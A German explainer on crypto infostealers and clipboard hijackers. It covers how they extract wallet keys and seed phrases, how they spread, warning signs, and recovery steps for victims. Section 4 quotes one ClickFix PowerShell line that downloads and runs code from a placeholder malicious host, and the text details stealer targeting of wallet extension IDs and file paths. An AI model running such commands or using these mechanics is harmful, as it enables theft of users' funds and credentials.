Krypto-Infostealer-Malware: Wie Trojaner auf Private Keys von Wallets, Browser-Erweiterungen und Zwischenablagedaten abzielen — Erkennung, Desinfektion und Wiederherstellung für Opfer

1. Krypto-Infostealer-Malware verstehen: Die Mechanismen des Informationsdiebstahls

Krypto-Infostealer-Malware stellt eine spezialisierte Kategorie von Trojanern dar, die eigens dafür entwickelt wurden, Authentifizierungsgeheimnisse, sensible Anmeldedaten und kryptografisches Schlüsselmaterial auf kompromittierten Betriebssystemen aufzuspüren, abzugreifen und zu exfiltrieren. Während sich traditionelle Schadsoftware historisch oft auf Distributed-Denial-of-Service-Botnetze (DDoS) oder störende Dateiverschlüsselung konzentrierte, priorisiert die moderne Cybercrime-Wirtschaft die lautlose Entwendung von Vermögenswerten. Sobald eine Infostealer-Payload auf einem Endpoint ausgeführt wird, schließt sie ihre bösartige Mission oft innerhalb von Sekunden ab – häufig beendet sie sich selbst oder verharrt inaktiv, noch bevor hostbasierte Sicherheitslösungen auffällige Aktivitäten erkennen können.

Die Kommerzialisierung dieser Bedrohung wird maßgeblich durch das Geschäftsmodell Malware-as-a-Service (MaaS) angetrieben. In Darknet-Foren und illegalen Telegram-Kanälen vermieten spezialisierte Entwicklersyndikate vorkompilierte Binärdateien, Web-Administrationsoberflächen und automatisierte Builder-Tools gegen monatliche Abonnementgebühren oder Umsatzbeteiligungen an weniger versierte Affiliates. Bekannte Malware-Familien wie RedLine Stealer, META, Vidar, Raccoon Stealer und Lumma Stealer haben hochgradig arbeitsteilige Lieferketten etabliert. Wie Cybersecurity-Forscher von SentinelOne hervorheben, setzen Infostealer-Betreiber auf hochgradig zielgerichtete Verbreitungsstrategien wie sogenannte ClickFix-Kampagnen. Dabei nutzen sie psychologisches Social Engineering und Verifizierungsermüdung aus, um Skript-Runner auszuführen, die im Hintergrund unbemerkt Payload-Binärdateien von externer Command-and-Control-Infrastruktur (C2) nachladen.

Das globale Ausmaß dieses Ökosystems zeigte sich bei bedeutenden internationalen Strafverfolgungsmaßnahmen. Ende 2024 koordinierte Eurojust die Operation Magnus – eine multinationale Koalition von Behörden aus den Niederlanden, den Vereinigten Staaten, Belgien, Portugal, dem Vereinigten Königreich und Australien, die die zentrale Serverinfrastruktur hinter den Infostealern RedLine und META erfolgreich zerschlug. Bei diesem Schlag beschlagnahmte forensische Datensätze offenbarten, dass allein diese beiden Varianten weltweit Millionen einzelner Systeme kompromittiert und Milliarden von Zugangsdaten, Browserverläufen sowie Krypto-Wallet-Profilen abgegriffen hatten.

Laut dem Chainalysis 2026 Crypto Crime Report verursachen gestohlene Gelder aus Malware-Angriffen und Endpoint-Kompromittierungen jährliche On-Chain-Verluste in dreistelliger Millionenhöhe. Anstatt gestohlene Logs manuell zu sichten, setzen moderne Bedrohungsnetzwerke automatisierte Log-Parser ein. Diese verarbeiten komprimierte Archive, die über verschlüsselte HTTP-POST-Anfragen oder Telegram Bot APIs exfiltriert wurden. Werden gültige Private Keys oder Seed Phrases erkannt, räumen automatisierte Draining-Smart-Contracts und Transaktions-Bots unverzüglich alle zugehörigen Guthaben leer und schleusen die digitalen Vermögenswerte innerhalb von Minuten nach der Erstinfektion in mehrstufige Geldwäschepfade ein.

2. Wie Stealer Private Keys, Tresore von Browser-Erweiterungen und Seed Phrases extrahieren

Non-custodial Web3-Browser-Erweiterungen wie MetaMask, Phantom, Coinbase Wallet, Rabby und TronLink greifen auf standardmäßige Browser-Speicher-APIs zurück. Sowohl in Chromium-basierten Browsern (Google Chrome, Brave, Microsoft Edge, Opera) als auch in Gecko-basierten Browsern (Mozilla Firefox) wird der Zustand von Erweiterungen in lokalen Verzeichnissen auf dem Datenträger abgelegt, die als LevelDB- oder SQLite-Datenbanken formatiert sind.

Der Windows-DPAPI-Entschlüsselungsmechanismus

Chromium-Browser verschlüsseln gespeicherte sensible Daten mithilfe eines verschlüsselten Hauptschlüssels (Master Key), der in der JSON-Konfigurationsdatei „Local State“ des Browsers hinterlegt ist. Unter Windows wird dieser Master Key über die Windows Data Protection API (DPAPI) mit der Funktion CryptProtectData geschützt. Die DPAPI sichert Geheimnisse zwar gegenüber anderen Benutzerkonten auf demselben Computer ab, doch jede ausführbare Datei, die im Kontext des aktuell angemeldeten Benutzers ausgeführt wird, kann CryptUnprotectData aufrufen, um den Master Key zu entschlüsseln – ohne dass eine Abfrage der Benutzerkontensteuerung (UAC) ausgelöst wird.

Wie Bedrohungsanalysen der Huntress Threat Library belegen, lokalisieren Infostealer wie Lumma Stealer das „Local State“-Verzeichnis, führen CryptUnprotectData auf den verschlüsselten Master Key aus und erhalten so den unverschlüsselten symmetrischen AES-Schlüssel direkt im Arbeitsspeicher. Ausgerüstet mit diesem Schlüssel durchsucht die Malware die Erweiterungsverzeichnisse nach fest codierten statischen Identifikatoren wie denen von MetaMask (nkbihfbeogaeaoehlefnkodbefgpgknn) oder Phantom (bfnaelmomeimhlpmgjnjophhpkkoljpa). Anschließend kopiert die Schadsoftware die gesamte LevelDB-Datenbank, die den verschlüsselten Wallet-Tresor, das Salt und den Passwort-Hash enthält.

Gezielte Angriffe auf Desktop-Clients und unverschlüsselte Mnemonics

Infostealer nehmen darüber hinaus eigenständige Desktop-Krypto-Wallet-Anwendungen ins Visier. Bedrohungstelemetrie von SlowMist Technology und dem U.S. Department of Justice (DOJ) zeigt, dass Malware-Payloads systematisch Standard-Dateipfade für Anwendungen wie Electrum (%APPDATA%\Electrum\wallets), Exodus (%APPDATA%\Exodus\exodus.wallet), Atomic Wallet und Wasabi Wallet abfragen.

Zusätzlich verfügen Stealer über File-Scraping-Module, die Desktop-, Dokumente- und Downloads-Ordner gezielt nach gängigen Text- und Dokumentformaten (.txt, .docx, .pdf, .kdbx) durchkämmen. Anhand regulärer Ausdrücke erkennen Payloads mnemonische BIP-39-Seed-Phrases (12, 18 oder 24 Wörter), unverschlüsselte 64-stellige Private Keys sowie Börsen-API-Schlüssel. Zahlreiche Varianten erstellen zudem unmittelbar nach der Ausführung Screenshots des Bildschirms, um angezeigte Anmeldedaten oder Notizen abzufangen.

3. Zwischenablage-Hijacker und Clipper-Malware: Die lautlose Bedrohung durch Adressersetzung

Zwischenablage-Hijacker (Clipboard-Hijacker oder Clipper-Malware) manipulieren den Zwischenablagepuffer des Betriebssystems in Echtzeit. Da kryptografische öffentliche Adressen lange alphanumerische Zeichenketten sind, nutzen Krypto-Anwender beim Initiieren von Transaktionen routinemäßig Copy-and-Paste für Zieladressen. Clipper-Schadsoftware untergräbt diesen Arbeitsablauf, indem sie die beabsichtigte Empfängeradresse unbemerkt durch eine vom Angreifer kontrollierte Adresse ersetzt.

API-Überwachung und Abgleich über reguläre Ausdrücke

Clipper-Malware überwacht die Zwischenablage über Windows-API-Funktionen wie GetClipboardData und SetClipboardData. Sobald Text kopiert wird, prüft die Malware die Zeichenkette mithilfe optimierter regulärer Ausdrücke (Regex), die die Adressformate führender Kryptowährungsnetzwerke erkennen:

• Bitcoin (BTC): Legacy-P2PKH- („1“), P2SH- („3“), SegWit-Bech32- („bc1q“) und Taproot- („bc1p“) Adressformate.
• Ethereum und EVM-Chains (ETH, BNB, MATIC): 40-stellige Hexadezimal-Zeichenketten mit dem Präfix „0x“.
• Solana (SOL): Base58-codierte Zeichenketten mit 32 bis 44 alphanumerischen Zeichen.
• TRON (TRX / USDT-TRC20): 34-stellige Zeichenketten, die mit „T“ beginnen.

Wird ein passendes Adressmuster erkannt, ersetzt der Clipper den Zwischenablageinhalt innerhalb von Millisekunden durch eine dem Angreifer gehörende Adresse auf derselben Blockchain. Diese Manipulation vollzieht sich während des regulären Copy-and-Paste-Vorgangs für das menschliche Auge unsichtbar.

Umgehung durch Vanity-Adressen und Täuschung von Hardware-Wallets

Wissenschaftliche Forschungen auf arXiv zum sogenannten „EthClipper“-Angriff zeigen, wie Angreifer vorab Millionen von Vanity-Adressen generieren, deren erste 4 bis 6 sowie letzte 4 bis 6 Zeichen exakt mit den Zieladressen der Opfer übereinstimmen. Da menschliche Kontrollgewohnheiten meist nur den Anfang und das Ende einer Adresse überfliegen, bestätigen Opfer regelmäßig Transaktionen an täuschend ähnlich aussehende Angreiferadressen.

Von SlowMist Technology dokumentierte Daten zeigen, dass Clipper-Module direkt in Infostealer-Pakete integriert oder über trojanisierte Web3-Tools verteilt werden. Da Clipper nur minimalen Programmcode benötigen, weisen sie einen extrem geringen Speicherverbrauch auf, umgehen statische Antivirensignaturen mühelos und verbleiben oft über Monate unentdeckt auf Endgeräten.

4. Verbreitungswege der Bedrohungsakteure: Malvertising, raubkopierte Software und Phishing-Köder

Moderne Infostealer-Syndikate betreiben mehrkanalige Vertriebsnetzwerke, die darauf ausgelegt sind, Zielpersonen zur Ausführung von Schadcode zu verleiten. Krypto-Investoren, Web3-Entwickler und Krypto-Trader werden systematisch über manipulierte Suchmaschinenergebnisse, Social Engineering und kompromittierte digitale Lieferketten ins Visier genommen.

Suchmaschinen-Malvertising-Kampagnen

Ein besonders verbreiteter Angriffsvektor ist das Spoofing von Suchmaschinen-Werbeanzeigen. Das Internet Crime Complaint Center (IC3) des Federal Bureau of Investigation (FBI) veröffentlichte eine Warnmeldung, in der detailliert beschrieben wird, wie Cyberkriminelle gesponserte Suchanzeigen über Google Ads und Bing Ads schalten. Die Bedrohungsakteure bieten auf stark nachgefragte Suchbegriffe wie „download metamask“, „phantom wallet extension“, „tradingview desktop“ oder „exodus wallet download“.

Sucht ein Nutzer nach diesen Begriffen, erscheint die gefälschte Werbeanzeige prominent über den organischen Suchergebnissen. Ein Klick leitet das Opfer über sogenannte Cloaking-Filter weiter: Diese präsentieren Web-Crawlern von Suchmaschinen harmlosen Inhalt, liefern echten Besuchern jedoch eine täuschend echte Kopie der legitimen Projektwebsite aus. Wird das vermeintliche Installationsprogramm heruntergeladen und geöffnet, führt dies zur Ausführung eines verschleierten Droppers, der RedLine, Vidar oder Lumma Stealer auf dem System platziert.

Die ClickFix-Verifizierungsmethode

Sicherheitsanalysen von SentinelOne und Qualys Threat Research beleuchten die rasante Ausbreitung des „ClickFix“-Social-Engineering-Angriffs. Bösartige Websites zeigen dabei simulierte System- oder Browserfehler an, beispielsweise gefälschte Cloudflare-CAPTCHA-Überprüfungen, Warnungen zu fehlenden Video-Codecs oder nachgeahmte Browser-Update-Aufforderungen.

Der Nutzer wird angewiesen, die Tastenkombination Windows-Taste + R zu drücken, eine zuvor kopierte Zeichenkette in das Ausführen-Fenster einzufügen und mit Enter zu bestätigen. In Wahrheit enthält die Zwischenablage einen verschleierten PowerShell-Befehl (beispielsweise powershell -w hidden -c "iex(New-Object Net.WebClient).DownloadString('https://malicious-cdn...')"). Da der Anwender diesen Befehl manuell selbst anstößt, stuft die Endpoint-Sicherheitssoftware den Vorgang häufig als legitime administrative Handlung ein, wodurch Schutzmechanismen und Firewalls umgangen werden.

Gefälschte Tech-Portale und betrügerische Direktansprachen

In einer weiteren Warnmeldung wies das FBI IC3 auf die Zunahme gefälschter Tech-Support-Portale und betrügerischer Kontaktaufnahmen mit Entwicklern hin. In Krypto-Entwickler-Communitys geben sich Angreifer als Recruiter oder Gründer von Web3-Start-ups aus und laden Entwickler zu Coding-Assessments ein. Die bereitgestellten Code-Repositories enthalten waffenfähige Abhängigkeiten, die genau in dem Moment eine Infostealer-Payload ausführen, in dem npm install ausgeführt wird.

5. Warnzeichen: So erkennen Sie eine aktive Infostealer-Infektion auf Ihrem Gerät

Infostealer sind auf maximale Tarnung ausgelegt, doch ihre Ausführung hinterlässt charakteristische forensische Spuren und Verhaltensanomalien. Das rechtzeitige Erkennen einer aktiven Infektion, bevor die Angreifer die Monetarisierung der erbeuteten Daten abschließen, kann den Totalverlust von Vermögenswerten verhindern.

Verhaltensbasierte Indikatoren auf dem Endpoint

Da Infostealer direkt auf lokale Dateispeicher und Browser-Prozesse zugreifen, bemerken Betroffene häufig plötzliche Unregelmäßigkeiten. Untersuchungen der Huntress Threat Library und von Qualys heben mehrere typische Endpoint-Indikatoren hervor:

• Unerwartete Browser-Abstürze und Profil-Neustarts: Stealer erzwingen das Beenden aktiver Browser-Prozesse (wie chrome.exe oder brave.exe), um Dateisperren auf SQLite- und LevelDB-Dateien aufzuheben.
• Kurz aufblitzende Terminal-Fenster: Eingabeaufforderungs- oder PowerShell-Konsolenfenster, die beim Systemstart oder nach dem Anklicken eines Weblinks für den Bruchteil einer Sekunde aufpoppen.
• Manipulation von Antiviren-Lösungen: Eigenmächtige Einträge im Windows Defender-Ausschluss-Registrierungspfad (HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths).
• Ungewöhnliche Hintergrundprozesse: Zufällig benannte ausführbare Dateien, die aus temporären Verzeichnissen wie %APPDATA% oder C:\Users\Public\ heraus ausgeführt werden und auffällige CPU-Last verursachen.

Anomalien im Netzwerkverkehr und in der Kommunikation

Veröffentlichte Telemetriedaten von Darktrace Threat Insights veranschaulichen typische Netzwerksignaturen bei der Exfiltration durch Infostealer. Nach dem Erfassen lokaler Daten packt die Schadsoftware Passwörter, Sitzungs-Cookies und Wallet-Schlüssel in verschlüsselte Archive und leitet ausgehende HTTP-POST-Anfragen an entfernte C2-Server ein oder nutzt Kanäle der Telegram Bot API (beispielsweise Anfragen an api.telegram.org/bot[token]/sendDocument).

6. Notfalleindämmung: Kompromittierte Systeme isolieren und digitale Vermögenswerte sichern

Besteht der Verdacht, dass ein Infostealer auf Ihrem Computer ausgeführt wurde, oder stellen Sie unautorisierte Transaktionen fest, ist eine sofortige Eindämmung unerlässlich. Aus Panik starten viele Betroffene zeitaufwendige Antiviren-Scans auf dem infizierten Rechner – was der Schadsoftware jedoch wertvolle Zeit verschafft, um die Exfiltration abzuschließen, oder bösartige Wiper-Routinen auslösen kann.

Schritt 1: Sämtliche Netzwerkverbindungen unverzüglich trennen

Die vollständige Netzwerkisolation ist die erste zwingende Maßnahme. Ziehen Sie physische Ethernet-Kabel ab, deaktivieren Sie WLAN sowie Bluetooth oder schalten Sie den Hardware-Flugmodus ein. Das Kappen der Internetverbindung trennt aktive C2-Verbindungen, stoppt laufende Datenübertragungen und verhindert Fernsteuerungsbefehle. Starten Sie das System nicht voreilig neu, da der flüchtige Arbeitsspeicher (RAM) wertvolle forensische Spuren enthält.

Schritt 2: Wechsel auf eine saubere, isolierte Umgebung

Versuchen Sie unter keinen Umständen, Krypto-Vermögenswerte über das infizierte Gerät in Sicherheit zu bringen. Jeder Tastaturanschlag und jede auf einem kompromittierten System eingetippte Seed Phrase kann von aktiven Keyloggern protokolliert werden. Wie gemeinsame Sicherheitshinweise des FBI IC3 betonen, muss die gesamte Vorfallreaktion zwingend von einem nachweislich sauberen Gerät erfolgen:

• Nutzen Sie einen sauberen Zweitrechner oder ein neu eingerichtetes Smartphone über Mobilfunkdaten (nicht über das potenziell kompromittierte lokale WLAN).
• Richten Sie eine vollständig neue Hardware-Wallet oder eine frische Software-Wallet mit einer vollkommen neuen Recovery Phrase ein.
• Niemals eine kompromittierte Recovery Phrase importieren: Übertragen Sie keinesfalls die bestehende Seed Phrase auf ein neues Gerät. Wurde eine Seed Phrase einmal abgegriffen, sind sämtliche daraus abgeleiteten öffentlichen Adressen über alle Blockchains hinweg dauerhaft unsicher.

Schritt 3: Aktive Freigaben und Sitzungstokens widerrufen

Falls von der betroffenen Wallet zuvor Berechtigungen für Smart Contracts erteilt wurden, nutzen Sie von Ihrem sauberen Gerät aus ein Allowance-Management-Tool wie Revoke.cash oder offizielle Approval-Schnittstellen in Block-Explorern. Zwar kann der Widerruf von Freigaben einen Angreifer, der über den rohen Private Key verfügt, nicht daran hindern, native Coins zu transferieren, er verhindert jedoch, dass automatisierte Drainer-Verträge zuvor freigegebene Token-Kontingente abziehen.

7. Umfassende Gerätedesinfektion und Wiederaufbau einer sicheren Betriebsumgebung

Ein häufiger Fehler von Malware-Opfern besteht darin, sich darauf zu verlassen, dass kommerzielle Antivirensoftware das infizierte System vollständig „bereinigt“. Zwar kann ein Endpoint-Scanner die ursprüngliche Dropper-Datei erkennen und entfernen, doch Infostealer injizieren häufig Shellcode in legitime Systemprozesse, manipulieren Startkonfigurationen, legen geplante Tasks (Scheduled Tasks) an und platzieren sekundäre Fernwartungstools (RATs) oder persistente Clipper-Malware in versteckten Systemverzeichnissen.

Die Notwendigkeit einer vollständigen Bare-Metal-Neuinstallation des Betriebssystems

Wie forensische Berichte im Nachgang von Strafverfolgungsmaßnahmen des Department of Justice (DOJ) gegen Infostealer-Syndikate belegen, nisten sich Payloads häufig tief im System ein (Persistence). Bedrohungsanalysen von Darktrace bestätigen, dass fortgeschrittene Stealer einfache Systemwiederherstellungspunkte überstehen. Die Wiederherstellung einer vertrauenswürdigen Systemintegrität erfordert daher eine umfassende Neuinstallation (Bare-Metal-Reinstallation):

• Installationsmedium auf einem sauberen Rechner erstellen: Erstellen Sie ein bootfähiges USB-Installationsmedium über Microsofts offizielles Media Creation Tool oder eine offizielle Linux-Distribution von einem verifizierten, nicht kompromittierten Computer aus.
• Komplette Neupartitionierung und Formatierung des Datenträgers: Löschen Sie alle bestehenden Festplattenpartitionen und führen Sie eine vollständige Formatierung durch. Verzichten Sie auf Optionen wie „Zurücksetzen und eigene Dateien behalten“, da sich bösartige Binärdateien in gesicherten Benutzerordnern einnisten können.
• Motherboard-UEFI/BIOS-Firmware aktualisieren: Flashen Sie die neueste Firmware direkt vom Herstellerportal, um auch Persistenz auf Firmware-Ebene auszuschließen.

Ungültigmachung von Anmeldedaten und Zerstörung aktiver Sitzungen

Da Infostealer aktive Browser-Sitzungscookies abgreifen, können Angreifer die Multi-Faktor-Authentifizierung (MFA) mittels Session-Hijacking umgehen. Das bloße Neuinstallieren des Betriebssystems macht Cookies, die bereits an C2-Server übertragen wurden, nicht ungültig. Beenden Sie daher von einem sicheren Zweitgerät aus manuell alle aktiven Sitzungen bei Ihren E-Mail-Anbietern, Passwort-Managern, Cloud-Plattformen und Krypto-Börsen über die Funktion „Aus allen anderen Sitzungen abmelden“.

8. Triage gestohlener Vermögenswerte: Blockchain-Tracing, Strafanzeigen und rechtliche Schritte

Sobald die Eindämmung auf dem Endgerät und das Zurücksetzen der Anmeldedaten abgeschlossen sind, verlagert sich der Fokus auf die Triage der Vermögenswerte und die forensische Wiederbeschaffung. Aufgrund der dezentralen Natur öffentlicher Blockchains können Transaktionen nicht durch Protokoll-Administratoren rückgängig gemacht werden. Dennoch bietet die transparente Ledger-Architektur von Bitcoin, Ethereum, Solana und anderen Netzwerken einen lückenlosen Prüfpfad, den forensische Ermittler und Strafverfolgungsbehörden nutzen, um gestohlene Gelder nachzuverfolgen.

Forensische Beweissicherung

Bevor Sie Ermittler kontaktieren oder offizielle Anzeigen erstatten, sollten Sie eine strukturierte Vorfallakte anlegen. Dokumentieren Sie jeden Transaktions-Hash (TXID) der unautorisierten Abbuchungen, Ausführungszeitstempel, Blockchain-Netzwerke, Empfängeradressen der Angreifer sowie Token-Vertragsadressen. Exportieren Sie die rohen JSON-Metadaten der Transaktionen aus Block-Explorern wie Etherscan, Solscan oder Tronscan. Falls ein Kontakt zu einem betrügerischen Recruiter oder einer bösartigen Website bestand, sichern Sie die vollständigen URLs, Hosting-IPs und Chat-Verläufe.

On-Chain-Tracking und Multi-Hop-Analyse

Bedrohungsakteure belassen gestohlene Kryptowährungen nicht auf ihren anfänglichen Sammel-Wallets. Untersuchungen von TRM Labs und Chainalysis belegen, dass Syndikate automatisierte Geldwäsche-Skripte einsetzen, die Gelder rasch über Dutzende von Zwischenadressen zerstreuen. Die Vermögenswerte werden durch dezentrale Liquiditätspools geschleust, über Cross-Chain-Bridges transferiert oder durch Coin-Mixing-Protokolle geleitet.

Professionelle Blockchain-Intelligence-Unternehmen setzen Graph-Analytics-Engines ein, um Transaktionsströme durch komplexe Geldwäsche-Topologien lückenlos zu verfolgen. Da Syndikate letztlich Fiat-Liquidität benötigen, fließen gestohlene Vermögenswerte früher oder später zu zentralisierten Virtual Asset Service Providern (VASPs) oder Over-the-Counter-Brokern (OTC). Sobald das On-Chain-Tracing Einzahlungen auf einer regulierten Krypto-Börse identifiziert, unterstützen Ermittler eine schnelle behördliche Intervention, um bei den Compliance-Teams der Börsen Notfall-Einfrierungen (Freezes) zu erwirken, bevor die Gelder in Fiatwährungen ausgezahlt werden können.

Referenzen

1. 1.Chainalysis. (2026). The 2026 Crypto Crime Report & Stolen Funds Ecosystem. Verfügbar unter: https://www.chainalysis.com/reports/crypto-crime-2026/
2. 2.TRM Labs. (2026). Cross-Chain Tracing and Multi-Hop Obfuscation in Cybercrime Investigations. Verfügbar unter: https://www.trmlabs.com/glossary/cross-chain-tracing
3. 3.FBI Internet Crime Complaint Center (IC3). (2022). Cybercriminals Use Search Engine Advertisement Services to Impersonate Legitimate Brands and Deliver Malware. Verfügbar unter: https://www.ic3.gov/PSA/2022/PSA221221
4. 4.Eurojust. (2024). Malware Targeting Millions of People Taken Down by International Coalition (Operation Magnus). Verfügbar unter: https://www.eurojust.europa.eu/news/malware-targeting-millions-people-taken-down-international-coalition
5. 5.U.S. Department of Justice (DOJ). (2024). U.S. Joins International Action Against RedLine and META Infostealers. Verfügbar unter: https://www.justice.gov/usao-wdtx/pr/us-joins-international-action-against-redline-and-meta-infostealers
6. 6.Academic Research (arXiv). (2021). EthClipper: A Clipboard Meddling Attack on Hardware Wallets with Address Verification Evasion. Verfügbar unter: https://arxiv.org/abs/2108.14004
7. 7.FBI Internet Crime Complaint Center (IC3). (2025). Public Service Announcement on Spoofed Tech Portals and Fraudulent Support Entities. Verfügbar unter: https://www.ic3.gov/PSA/2025/PSA250919
8. 8.SentinelOne. (2025). How ClickFix is Weaponizing Verification Fatigue to Deliver RATs and Infostealers. Verfügbar unter: https://www.sentinelone.com/blog/how-clickfix-is-weaponizing-verification-fatigue-to-deliver-rats-infostealers/
9. 9.Qualys Threat Research. (2024). Unmasking Lumma Stealer: Analyzing Deceptive Tactics with Fake CAPTCHA. Verfügbar unter: https://blog.qualys.com/vulnerabilities-threat-research/2024/10/20/unmasking-lumma-stealer-analyzing-deceptive-tactics-with-fake-captcha
10. 10.Huntress Threat Library. (2025). Lumma Stealer Behavioral Profile, Persistence, and Data Exfiltration. Verfügbar unter: https://www.huntress.com/threat-library/malware/lumma-stealer
11. 11.Darktrace Threat Insights. (2025). The Rise of the Lumma Info Stealer and Wallet Harvesting Campaigns. Verfügbar unter: https://www.darktrace.com/blog/the-rise-of-the-lumma-info-stealer
12. 12.SlowMist Technology. (2026). Web3 Wallet Attack Vectors and Malicious Extension Exploits. Verfügbar unter: https://hacked.slowmist.io/?c=Wallet&page=1

Verwandte Ressourcen